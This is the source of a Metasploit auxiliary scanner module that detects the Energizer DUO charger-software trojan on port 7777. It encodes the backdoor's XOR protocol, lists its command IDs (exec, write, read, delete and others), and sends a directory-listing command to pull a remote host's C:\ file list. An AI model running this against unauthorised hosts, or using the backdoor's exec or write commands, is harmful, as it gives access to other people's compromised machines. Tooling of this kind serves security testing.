Path: blob/master/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize12super(13'Name' => 'Energizer DUO Trojan Scanner',14'Description' => 'Detect instances of the Energizer DUO trojan horse software on port 7777.',15'Author' => 'hdm',16'References' => [17['CVE', '2010-0103'],18['OSVDB', '62782'],19['US-CERT-VU', '154421']20],21'License' => MSF_LICENSE,22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)2829register_options(30[31Opt::RPORT(7777),32]33)34end3536def trojan_encode(str)37str.unpack('C*').map { |c| c ^ 0xE5 }.pack('C*')38end3940def trojan_command(cmd)41cid = ''4243case cmd44when :exec45cid = '{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}'46when :dir47cid = '{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}'48when :write49cid = '{98D958FC-D0A2-4f1c-B841-232AB357E7C8}'50when :read51cid = '{F6C43E1A-1551-4000-A483-C361969AEC41}'52when :nop53cid = '{783EACBF-EF8B-498e-A059-F0B5BD12641E}'54when :find55cid = '{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}'56when :yes57cid = '{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}'58when :runonce59cid = '{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}'60when :delete61cid = '{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}'62end6364trojan_encode(65[0x27].pack('V') + cid + "\x00"66)67end6869def run_host(ip)70connect71sock.put(trojan_command(:dir))72sock.put(73trojan_encode(74[4].pack('V') + "C:\\\x00\x00"75)76)7778lbuff = sock.get_once(4, 5)79if !lbuff80print_error("#{ip}:#{rport} UNKNOWN: No response to the directory listing request")81disconnect82return83end8485len = trojan_encode(lbuff).unpack('V')[0]86dbuff = sock.get_once(len, 30)87data = trojan_encode(dbuff)88files = data.split('|').map do |x|89if x[0, 2] == '?1'90['D', x[2, x.length - 2]]91else92['F', x]93end94end9596# Required to prevent the server from spinning a loop97sock.put(trojan_command(:nop))9899print_good("#{ip}:#{rport} FOUND: #{files.inspect}")100# Add Vulnerability and Report101report_vuln({102host: ip,103name: 'Energizer DUO USB Battery Charger Software Arucer.dll Trojaned Distribution',104refs: references105})106report_note(107host: ip,108proto: 'tcp',109port: datastore['RPORT'],110sname: 'energizer_duo',111type: 'Energizer DUO Trojan',112data: { energizer_duo_trojan: files.inspect }113)114disconnect115rescue ::Interrupt116raise $ERROR_INFO117rescue ::Rex::ConnectionError, ::IOError => e118vprint_error(e.message)119end120end121122123